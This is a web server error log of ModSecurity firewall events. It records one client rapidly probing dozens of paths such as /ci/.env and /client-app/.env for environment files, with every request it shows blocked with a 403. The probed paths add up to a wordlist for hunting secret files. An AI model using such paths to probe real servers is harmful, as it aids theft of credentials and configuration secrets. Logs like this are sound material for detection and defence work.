[Thu Feb 26 01:02:57.864542 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjwAAAAM&quot;]
[Thu Feb 26 01:02:57.864701 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkjwAAAAM&quot;]
[Thu Feb 26 01:02:57.877595 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cgi-bin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbgAAAAU&quot;]
[Thu Feb 26 01:02:57.877867 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbgAAAAU&quot;]
[Thu Feb 26 01:02:57.878041 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cgi-bin/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PbgAAAAU&quot;]
[Thu Feb 26 01:02:57.896877 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkAAAAAM&quot;]
[Thu Feb 26 01:02:57.897124 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkAAAAAM&quot;]
[Thu Feb 26 01:02:57.897292 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkAAAAAM&quot;]
[Thu Feb 26 01:02:57.935607 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/mutual-fund-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkQAAAAM&quot;]
[Thu Feb 26 01:02:57.935846 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkQAAAAM&quot;]
[Thu Feb 26 01:02:57.935998 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkQAAAAM&quot;]
[Thu Feb 26 01:02:57.962540 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch2-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PcAAAAAU&quot;]
[Thu Feb 26 01:02:57.962818 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PcAAAAAU&quot;]
[Thu Feb 26 01:02:57.962997 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch2-mytodo/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PcAAAAAU&quot;]
[Thu Feb 26 01:02:57.963742 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkgAAAAM&quot;]
[Thu Feb 26 01:02:57.963972 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkgAAAAM&quot;]
[Thu Feb 26 01:02:57.964136 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkgAAAAM&quot;]
[Thu Feb 26 01:02:57.984552 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PcQAAAAU&quot;]
[Thu Feb 26 01:02:57.984815 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PcQAAAAU&quot;]
[Thu Feb 26 01:02:57.984986 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6-mytodo/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PcQAAAAU&quot;]
[Thu Feb 26 01:02:57.997626 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkwAAAAM&quot;]
[Thu Feb 26 01:02:57.997854 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkwAAAAM&quot;]
[Thu Feb 26 01:02:57.998022 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkkwAAAAM&quot;]
[Thu Feb 26 01:02:58.023394 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch6a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PcgAAAAU&quot;]
[Thu Feb 26 01:02:58.023662 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PcgAAAAU&quot;]
[Thu Feb 26 01:02:58.023831 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PcgAAAAU&quot;]
[Thu Feb 26 01:02:58.027978 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clld_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklAAAAAM&quot;]
[Thu Feb 26 01:02:58.028216 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklAAAAAM&quot;]
[Thu Feb 26 01:02:58.028379 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklAAAAAM&quot;]
[Thu Feb 26 01:02:58.053658 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PcwAAAAU&quot;]
[Thu Feb 26 01:02:58.053907 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PcwAAAAU&quot;]
[Thu Feb 26 01:02:58.054080 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PcwAAAAU&quot;]
[Thu Feb 26 01:02:58.064289 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEklQAAAAM&quot;]
